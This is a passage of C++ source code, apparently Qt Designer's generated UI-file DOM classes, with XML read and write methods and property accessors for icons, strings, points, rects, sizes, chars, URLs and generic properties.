DomResourcePixmap* a = m_activeOff;
m_activeOff = 0;
m_children ^= ActiveOff;
return a;
}
void DomResourceIcon::setElementActiveOff(DomResourcePixmap* a)
{
delete m_activeOff;
m_children |= ActiveOff;
m_activeOff = a;
}
DomResourcePixmap* DomResourceIcon::takeElementActiveOn()
{
DomResourcePixmap* a = m_activeOn;
m_activeOn = 0;
m_children ^= ActiveOn;
return a;
}
void DomResourceIcon::setElementActiveOn(DomResourcePixmap* a)
{
delete m_activeOn;
m_children |= ActiveOn;
m_activeOn = a;
}
DomResourcePixmap* DomResourceIcon::takeElementSelectedOff()
{
DomResourcePixmap* a = m_selectedOff;
m_selectedOff = 0;
m_children ^= SelectedOff;
return a;
}
void DomResourceIcon::setElementSelectedOff(DomResourcePixmap* a)
{
delete m_selectedOff;
m_children |= SelectedOff;
m_selectedOff = a;
}
DomResourcePixmap* DomResourceIcon::takeElementSelectedOn()
{
DomResourcePixmap* a = m_selectedOn;
m_selectedOn = 0;
m_children ^= SelectedOn;
return a;
}
void DomResourceIcon::setElementSelectedOn(DomResourcePixmap* a)
{
delete m_selectedOn;
m_children |= SelectedOn;
m_selectedOn = a;
}
void DomResourceIcon::clearElementNormalOff()
{
delete m_normalOff;
m_normalOff = 0;
m_children &= ~NormalOff;
}
void DomResourceIcon::clearElementNormalOn()
{
delete m_normalOn;
m_normalOn = 0;
m_children &= ~NormalOn;
}
void DomResourceIcon::clearElementDisabledOff()
{
delete m_disabledOff;
m_disabledOff = 0;
m_children &= ~DisabledOff;
}
void DomResourceIcon::clearElementDisabledOn()
{
delete m_disabledOn;
m_disabledOn = 0;
m_children &= ~DisabledOn;
}
void DomResourceIcon::clearElementActiveOff()
{
delete m_activeOff;
m_activeOff = 0;
m_children &= ~ActiveOff;
}
void DomResourceIcon::clearElementActiveOn()
{
delete m_activeOn;
m_activeOn = 0;
m_children &= ~ActiveOn;
}
void DomResourceIcon::clearElementSelectedOff()
{
delete m_selectedOff;
m_selectedOff = 0;
m_children &= ~SelectedOff;
}
void DomResourceIcon::clearElementSelectedOn()
{
delete m_selectedOn;
m_selectedOn = 0;
m_children &= ~SelectedOn;
}
void DomString::clear(bool clear_all)
{
if (clear_all) {
m_text = QLatin1String("");
m_has_attr_notr = false;
m_has_attr_comment = false;
m_has_attr_extraComment = false;
}
m_children = 0;
}
DomString::DomString()
{
m_children = 0;
m_has_attr_notr = false;
m_has_attr_comment = false;
m_has_attr_extraComment = false;
m_text = QLatin1String("");
}
DomString::~DomString()
{
}
void DomString::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("notr")) {
setAttributeNotr(attribute.value().toString());
continue;
}
if (name == QLatin1String("comment")) {
setAttributeComment(attribute.value().toString());
continue;
}
if (name == QLatin1String("extracomment")) {
setAttributeExtraComment(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomString::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("notr")))
setAttributeNotr(node.attribute(QLatin1String("notr")));
if (node.hasAttribute(QLatin1String("comment")))
setAttributeComment(node.attribute(QLatin1String("comment")));
if (node.hasAttribute(QLatin1String("extracomment")))
setAttributeExtraComment(node.attribute(QLatin1String("extracomment")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text = QLatin1String("");
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomString::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("string") : tagName.toLower());
if (hasAttributeNotr())
writer.writeAttribute(QLatin1String("notr"), attributeNotr());
if (hasAttributeComment())
writer.writeAttribute(QLatin1String("comment"), attributeComment());
if (hasAttributeExtraComment())
writer.writeAttribute(QLatin1String("extracomment"), attributeExtraComment());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomPointF::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_x = 0;
m_y = 0;
}
DomPointF::DomPointF()
{
m_children = 0;
m_x = 0;
m_y = 0;
}
DomPointF::~DomPointF()
{
}
void DomPointF::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(reader.readElementText().toDouble());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(reader.readElementText().toDouble());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomPointF::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(e.text().toDouble());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(e.text().toDouble());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomPointF::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("pointf") : tagName.toLower());
if (m_children & X) {
writer.writeTextElement(QString(QLatin1Char('x')), QString::number(m_x, 'f', 15));
}
if (m_children & Y) {
writer.writeTextElement(QString(QLatin1Char('y')), QString::number(m_y, 'f', 15));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomPointF::setElementX(double a)
{
m_children |= X;
m_x = a;
}
void DomPointF::setElementY(double a)
{
m_children |= Y;
m_y = a;
}
void DomPointF::clearElementX()
{
m_children &= ~X;
}
void DomPointF::clearElementY()
{
m_children &= ~Y;
}
void DomRectF::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_x = 0;
m_y = 0;
m_width = 0;
m_height = 0;
}
DomRectF::DomRectF()
{
m_children = 0;
m_x = 0;
m_y = 0;
m_width = 0;
m_height = 0;
}
DomRectF::~DomRectF()
{
}
void DomRectF::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(reader.readElementText().toDouble());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(reader.readElementText().toDouble());
continue;
}
if (tag == QLatin1String("width")) {
setElementWidth(reader.readElementText().toDouble());
continue;
}
if (tag == QLatin1String("height")) {
setElementHeight(reader.readElementText().toDouble());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomRectF::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(e.text().toDouble());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(e.text().toDouble());
continue;
}
if (tag == QLatin1String("width")) {
setElementWidth(e.text().toDouble());
continue;
}
if (tag == QLatin1String("height")) {
setElementHeight(e.text().toDouble());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomRectF::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("rectf") : tagName.toLower());
if (m_children & X) {
writer.writeTextElement(QString(QLatin1Char('x')), QString::number(m_x, 'f', 15));
}
if (m_children & Y) {
writer.writeTextElement(QString(QLatin1Char('y')), QString::number(m_y, 'f', 15));
}
if (m_children & Width) {
writer.writeTextElement(QLatin1String("width"), QString::number(m_width, 'f', 15));
}
if (m_children & Height) {
writer.writeTextElement(QLatin1String("height"), QString::number(m_height, 'f', 15));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomRectF::setElementX(double a)
{
m_children |= X;
m_x = a;
}
void DomRectF::setElementY(double a)
{
m_children |= Y;
m_y = a;
}
void DomRectF::setElementWidth(double a)
{
m_children |= Width;
m_width = a;
}
void DomRectF::setElementHeight(double a)
{
m_children |= Height;
m_height = a;
}
void DomRectF::clearElementX()
{
m_children &= ~X;
}
void DomRectF::clearElementY()
{
m_children &= ~Y;
}
void DomRectF::clearElementWidth()
{
m_children &= ~Width;
}
void DomRectF::clearElementHeight()
{
m_children &= ~Height;
}
void DomSizeF::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_width = 0;
m_height = 0;
}
DomSizeF::DomSizeF()
{
m_children = 0;
m_width = 0;
m_height = 0;
}
DomSizeF::~DomSizeF()
{
}
void DomSizeF::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("width")) {
setElementWidth(reader.readElementText().toDouble());
continue;
}
if (tag == QLatin1String("height")) {
setElementHeight(reader.readElementText().toDouble());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomSizeF::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("width")) {
setElementWidth(e.text().toDouble());
continue;
}
if (tag == QLatin1String("height")) {
setElementHeight(e.text().toDouble());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomSizeF::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("sizef") : tagName.toLower());
if (m_children & Width) {
writer.writeTextElement(QLatin1String("width"), QString::number(m_width, 'f', 15));
}
if (m_children & Height) {
writer.writeTextElement(QLatin1String("height"), QString::number(m_height, 'f', 15));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomSizeF::setElementWidth(double a)
{
m_children |= Width;
m_width = a;
}
void DomSizeF::setElementHeight(double a)
{
m_children |= Height;
m_height = a;
}
void DomSizeF::clearElementWidth()
{
m_children &= ~Width;
}
void DomSizeF::clearElementHeight()
{
m_children &= ~Height;
}
void DomChar::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_unicode = 0;
}
DomChar::DomChar()
{
m_children = 0;
m_unicode = 0;
}
DomChar::~DomChar()
{
}
void DomChar::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("unicode")) {
setElementUnicode(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomChar::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("unicode")) {
setElementUnicode(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomChar::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("char") : tagName.toLower());
if (m_children & Unicode) {
writer.writeTextElement(QLatin1String("unicode"), QString::number(m_unicode));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomChar::setElementUnicode(int a)
{
m_children |= Unicode;
m_unicode = a;
}
void DomChar::clearElementUnicode()
{
m_children &= ~Unicode;
}
void DomUrl::clear(bool clear_all)
{
delete m_string;
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_string = 0;
}
DomUrl::DomUrl()
{
m_children = 0;
m_string = 0;
}
DomUrl::~DomUrl()
{
delete m_string;
}
void DomUrl::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("string")) {
DomString *v = new DomString();
v->read(reader);
setElementString(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomUrl::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("string")) {
DomString *v = new DomString();
v->read(e);
setElementString(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomUrl::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("url") : tagName.toLower());
if (m_children & String) {
m_string->write(writer, QLatin1String("string"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
DomString* DomUrl::takeElementString()
{
DomString* a = m_string;
m_string = 0;
m_children ^= String;
return a;
}
void DomUrl::setElementString(DomString* a)
{
delete m_string;
m_children |= String;
m_string = a;
}
void DomUrl::clearElementString()
{
delete m_string;
m_string = 0;
m_children &= ~String;
}
void DomProperty::clear(bool clear_all)
{
delete m_color;
delete m_font;
delete m_iconSet;
delete m_pixmap;
delete m_palette;
delete m_point;
delete m_rect;
delete m_locale;
delete m_sizePolicy;
delete m_size;
delete m_string;
delete m_stringList;
delete m_date;
delete m_time;
delete m_dateTime;
delete m_pointF;
delete m_rectF;
delete m_sizeF;
delete m_char;
delete m_url;
delete m_brush;
if (clear_all) {
m_text.clear();
m_has_attr_name = false;
m_has_attr_stdset = false;
m_attr_stdset = 0;
}
m_kind = Unknown;
m_color = 0;
m_cursor = 0;
m_font = 0;
m_iconSet = 0;
m_pixmap = 0;
m_palette = 0;
m_point = 0;
m_rect = 0;
m_locale = 0;
m_sizePolicy = 0;
m_size = 0;
m_string = 0;
m_stringList = 0;
m_number = 0;
m_float = 0.0;
m_double = 0;
m_date = 0;
m_time = 0;
m_dateTime = 0;
m_pointF = 0;
m_rectF = 0;
m_sizeF = 0;
m_longLong = 0;
m_char = 0;
m_url = 0;
m_UInt = 0;
m_uLongLong = 0;
m_brush = 0;
}
DomProperty::DomProperty()
{
m_kind = Unknown;
m_has_attr_name = false;
m_has_attr_stdset = false;
m_attr_stdset = 0;
m_color = 0;
m_cursor = 0;
m_font = 0;
m_iconSet = 0;
m_pixmap = 0;
m_palette = 0;
m_point = 0;
m_rect = 0;
m_locale = 0;
m_sizePolicy = 0;
m_size = 0;
m_string = 0;
m_stringList = 0;
m_number = 0;
m_float = 0.0;
m_double = 0;
m_date = 0;
m_time = 0;
m_dateTime = 0;
m_pointF = 0;
m_rectF = 0;
m_sizeF = 0;
m_longLong = 0;
m_char = 0;
m_url = 0;
m_UInt = 0;
m_uLongLong = 0;
m_brush = 0;
}
DomProperty::~DomProperty()
{
delete m_color;
delete m_font;
delete m_iconSet;
delete m_pixmap;
delete m_palette;
delete m_point;
delete m_rect;
delete m_locale;
delete m_sizePolicy;
delete m_size;
delete m_string;
delete m_stringList;
delete m_date;
delete m_time;
delete m_dateTime;
delete m_pointF;
delete m_rectF;
delete m_sizeF;
delete m_char;
delete m_url;
delete m_brush;
}
void DomProperty::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
if (name == QLatin1String("stdset")) {
setAttributeStdset(attribute.value().toString().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("bool")) {
setElementBool(reader.readElementText());
continue;
}
if (tag == QLatin1String("color")) {
DomColor *v = new DomColor();
v->read(reader);
setElementColor(v);
continue;
}
if (tag == QLatin1String("cstring")) {
setElementCstring(reader.readElementText());
continue;
}
if (tag == QLatin1String("cursor")) {
setElementCursor(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("cursorshape")) {
setElementCursorShape(reader.readElementText());
continue;
}
if (tag == QLatin1String("enum")) {
setElementEnum(reader.readElementText());
continue;
}
if (tag == QLatin1String("font")) {
DomFont *v = new DomFont();
v->read(reader);
setElementFont(v);
continue;
}
if (tag == QLatin1String("iconset")) {
DomResourceIcon *v = new DomResourceIcon();
v->read(reader);
setElementIconSet(v);
continue;
}
if (tag == QLatin1String("pixmap")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(reader);
setElementPixmap(v);
continue;
}
if (tag == QLatin1String("palette")) {
DomPalette *v = new DomPalette();
v->read(reader);
setElementPalette(v);
continue;
}
if (tag == QLatin1String("point")) {
DomPoint *v = new DomPoint();
v->read(reader);
setElementPoint(v);
continue;
}
if (tag == QLatin1String("rect")) {
DomRect *v = new DomRect();
v->read(reader);
setElementRect(v);
continue;
}
if (tag == QLatin1String("set")) {
setElementSet(reader.readElementText());
continue;
}
if (tag == QLatin1String("locale")) {
DomLocale *v = new DomLocale();
v->read(reader);
setElementLocale(v);
continue;
}
if (tag == QLatin1String("sizepolicy")) {
DomSizePolicy *v = new DomSizePolicy();
v->read(reader);
setElementSizePolicy(v);
continue;
}
if (tag == QLatin1String("size")) {
DomSize *v = new DomSize();
v->read(reader);
setElementSize(v);
continue;
}
if (tag == QLatin1String("string")) {
DomString *v = new DomString();
v->read(reader);
setElementString(v);
continue;
}
if (tag == QLatin1String("stringlist")) {
DomStringList *v = new DomStringList();
v->read(reader);
setElementStringList(v);
continue;
}
if (tag == QLatin1String("number")) {
setElementNumber(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("float")) {
setElementFloat(reader.readElementText().toFloat());
continue;
}
if (tag == QLatin1String("double")) {
setElementDouble(reader.readElementText().toDouble());
continue;
}
if (tag == QLatin1String("date")) {
DomDate *v = new DomDate();
v->read(reader);
setElementDate(v);
continue;
}
if (tag == QLatin1String("time")) {
DomTime *v = new DomTime();
v->read(reader);
setElementTime(v);
continue;
}
if (tag == QLatin1String("datetime")) {
DomDateTime *v = new DomDateTime();
v->read(reader);
setElementDateTime(v);
continue;
}
if (tag == QLatin1String("pointf")) {
DomPointF *v = new DomPointF();
v->read(reader);
setElementPointF(v);
continue;
}
if (tag == QLatin1String("rectf")) {
DomRectF *v = new DomRectF();
v->read(reader);
setElementRectF(v);
continue;
}
if (tag == QLatin1String("sizef")) {
DomSizeF *v = new DomSizeF();
v->read(reader);
setElementSizeF(v);
continue;
}
if (tag == QLatin1String("longlong")) {
setElementLongLong(reader.readElementText().toLongLong());
continue;
}
if (tag == QLatin1String("char")) {
DomChar *v = new DomChar();
v->read(reader);
setElementChar(v);
continue;
}
if (tag == QLatin1String("url")) {
DomUrl *v = new DomUrl();
v->read(reader);
setElementUrl(v);
continue;
}
if (tag == QLatin1String("uint")) {
setElementUInt(reader.readElementText().toUInt());
continue;
}
if (tag == QLatin1String("ulonglong")) {
setElementULongLong(reader.readElementText().toULongLong());
continue;
}
if (tag == QLatin1String("brush")) {
DomBrush *v = new DomBrush();
v->read(reader);
setElementBrush(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomProperty::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
if (node.hasAttribute(QLatin1String("stdset")))
setAttributeStdset(node.attribute(QLatin1String("stdset")).toInt());
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("bool")) {
setElementBool(e.text());
continue;
}
if (tag == QLatin1String("color")) {
DomColor *v = new DomColor();
v->read(e);
setElementColor(v);
continue;
}
if (tag == QLatin1String("cstring")) {
setElementCstring(e.text());
continue;
}
if (tag == QLatin1String("cursor")) {
setElementCursor(e.text().toInt());
continue;
}
if (tag == QLatin1String("cursorshape")) {
setElementCursorShape(e.text());
continue;
}
if (tag == QLatin1String("enum")) {
setElementEnum(e.text());
continue;
}
if (tag == QLatin1String("font")) {
DomFont *v = new DomFont();
v->read(e);
setElementFont(v);
continue;
}
if (tag == QLatin1String("iconset")) {
DomResourceIcon *v = new DomResourceIcon();
v->read(e);
setElementIconSet(v);
continue;
}
if (tag == QLatin1String("pixmap")) {
DomResourcePixmap *v = new DomResourcePixmap();
v->read(e);
setElementPixmap(v);
continue;
}
if (tag == QLatin1String("palette")) {
DomPalette *v = new DomPalette();
v->read(e);
setElementPalette(v);
continue;
}
if (tag == QLatin1String("point")) {
DomPoint *v = new DomPoint();
v->read(e);
setElementPoint(v);
continue;
}
if (tag == QLatin1String("rect")) {
DomRect *v = new DomRect();
v->read(e);
setElementRect(v);
continue;
}
if (tag == QLatin1String("set")) {
setElementSet(e.text());
continue;
}
if (tag == QLatin1String("locale")) {
DomLocale *v = new DomLocale();
v->read(e);
setElementLocale(v);
continue;
}
if (tag == QLatin1String("sizepolicy")) {
DomSizePolicy *v = new DomSizePolicy();
v->read(e);
setElementSizePolicy(v);
continue;
}
if (tag == QLatin1String("size")) {
DomSize *v = new DomSize();
v->read(e);
setElementSize(v);
continue;
}
if (tag == QLatin1String("string")) {
DomString *v = new DomString();
v->read(e);
setElementString(v);
continue;
}
if (tag == QLatin1String("stringlist")) {
DomStringList *v = new DomStringList();
v->read(e);
setElementStringList(v);
continue;
}
if (tag == QLatin1String("number")) {
setElementNumber(e.text().toInt());
continue;
}
if (tag == QLatin1String("float")) {
setElementFloat(e.text().toFloat());
continue;
}
if (tag == QLatin1String("double")) {
setElementDouble(e.text().toDouble());
continue;
}
if (tag == QLatin1String("date")) {
DomDate *v = new DomDate();
v->read(e);
setElementDate(v);
continue;
}
if (tag == QLatin1String("time")) {
DomTime *v = new DomTime();
v->read(e);
setElementTime(v);
continue;
}
if (tag == QLatin1String("datetime")) {
DomDateTime *v = new DomDateTime();
v->read(e);
setElementDateTime(v);
continue;
}
if (tag == QLatin1String("pointf")) {
DomPointF *v = new DomPointF();
v->read(e);
setElementPointF(v);
continue;
}
if (tag == QLatin1String("rectf")) {
DomRectF *v = new DomRectF();
v->read(e);
setElementRectF(v);
continue;
}
if (tag == QLatin1String("sizef")) {
DomSizeF *v = new DomSizeF();
v->read(e);
setElementSizeF(v);
continue;
}
if (tag == QLatin1String("longlong")) {
setElementLongLong(e.text().toLongLong());
continue;
}
if (tag == QLatin1String("char")) {
DomChar *v = new DomChar();
v->read(e);
setElementChar(v);
continue;
}
if (tag == QLatin1String("url")) {
DomUrl *v = new DomUrl();
v->read(e);
setElementUrl(v);
continue;
}
if (tag == QLatin1String("uint")) {
setElementUInt(e.text().toUInt());
continue;
}
if (tag == QLatin1String("ulonglong")) {
setElementULongLong(e.text().toULongLong());
continue;
}
if (tag == QLatin1String("brush")) {
DomBrush *v = new DomBrush();
v->read(e);
setElementBrush(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomProperty::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("property") : tagName.toLower());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
if (hasAttributeStdset())
writer.writeAttribute(QLatin1String("stdset"), QString::number(attributeStdset()));
switch (kind()) {
case Bool: {
writer.writeTextElement(QLatin1String("bool"), elementBool());
break;
}
case Color: {
DomColor* v = elementColor();
if (v != 0) {
v->write(writer, QLatin1String("color"));
}
break;
}
case Cstring: {
writer.writeTextElement(QLatin1String("cstring"), elementCstring());
break;
}
case Cursor: {
writer.writeTextElement(QLatin1String("cursor"), QString::number(elementCursor()));
break;
}
case CursorShape: {
writer.writeTextElement(QLatin1String("cursorShape"), elementCursorShape());
break;
}
case Enum: {
writer.writeTextElement(QLatin1String("enum"), elementEnum());
break;
}
case Font: {
DomFont* v = elementFont();
if (v != 0) {
v->write(writer, QLatin1String("font"));
}
break;
}
case IconSet: {
DomResourceIcon* v = elementIconSet();
if (v != 0) {
v->write(writer, QLatin1String("iconset"));
}
break;
}
case Pixmap: {
DomResourcePixmap* v = elementPixmap();
if (v != 0) {
v->write(writer, QLatin1String("pixmap"));
}
break;
}
case Palette: {
DomPalette* v = elementPalette();
if (v != 0) {
v->write(writer, QLatin1String("palette"));
}
break;
}
case Point: {
DomPoint* v = elementPoint();
if (v != 0) {
v->write(writer, QLatin1String("point"));
}
break;
}
case Rect: {
DomRect* v = elementRect();
if (v != 0) {
v->write(writer, QLatin1String("rect"));
}
break;
}
case Set: {
writer.writeTextElement(QLatin1String("set"), elementSet());
break;
}
case Locale: {
DomLocale* v = elementLocale();
if (v != 0) {
v->write(writer, QLatin1String("locale"));
}
break;
}
case SizePolicy: {
DomSizePolicy* v = elementSizePolicy();
if (v != 0) {
v->write(writer, QLatin1String("sizepolicy"));
}
break;
}
case Size: {
DomSize* v = elementSize();
if (v != 0) {
v->write(writer, QLatin1String("size"));
}
break;
}
case String: {
DomString* v = elementString();
if (v != 0) {
v->write(writer, QLatin1String("string"));
}
break;
}
case StringList: {
DomStringList* v = elementStringList();
if (v != 0) {
v->write(writer, QLatin1String("stringlist"));
}
break;
}
case Number: {
writer.writeTextElement(QLatin1String("number"), QString::number(elementNumber()));
break;
}
case Float: {
writer.writeTextElement(QLatin1String("float"), QString::number(elementFloat(), 'f', 8));
break;
}
case Double: {
writer.writeTextElement(QLatin1String("double"), QString::number(elementDouble(), 'f', 15));
break;
}
case Date: {
DomDate* v = elementDate();
if (v != 0) {
v->write(writer, QLatin1String("date"));
}
break;
}
case Time: {
DomTime* v = elementTime();
if (v != 0) {
v->write(writer, QLatin1String("time"));
}
break;
}
case DateTime: {
DomDateTime* v = elementDateTime();
if (v != 0) {
v->write(writer, QLatin1String("datetime"));
}
break;
}
case PointF: {
DomPointF* v = elementPointF();
if (v != 0) {
v->write(writer, QLatin1String("pointf"));
}
break;
}
case RectF: {
DomRectF* v = elementRectF();
if (v != 0) {
v->write(writer, QLatin1String("rectf"));
}
break;
}
case SizeF: {
DomSizeF* v = elementSizeF();
if (v != 0) {
v->write(writer, QLatin1String("sizef"));
}
break;
}
case LongLong: {
writer.writeTextElement(QLatin1String("longLong"), QString::number(elementLongLong()));
break;
}
case Char: {
DomChar* v = elementChar();
if (v != 0) {
v->write(writer, QLatin1String("char"));
}
break;
}
case Url: {
DomUrl* v = elementUrl();
if (v != 0) {
v->write(writer, QLatin1String("url"));
}
break;
}
case UInt: {
writer.writeTextElement(QLatin1String("UInt"), QString::number(elementUInt()));
break;
}
case ULongLong: {
writer.writeTextElement(QLatin1String("uLongLong"), QString::number(elementULongLong()));
break;
}
case Brush: {
DomBrush* v = elementBrush();
if (v != 0) {
v->write(writer, QLatin1String("brush"));
}
break;
}
default:
break;
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomProperty::setElementBool(const QString& a)
{
clear(false);
m_kind = Bool;
m_bool = a;
}
DomColor* DomProperty::takeElementColor()
{
DomColor* a = m_color;
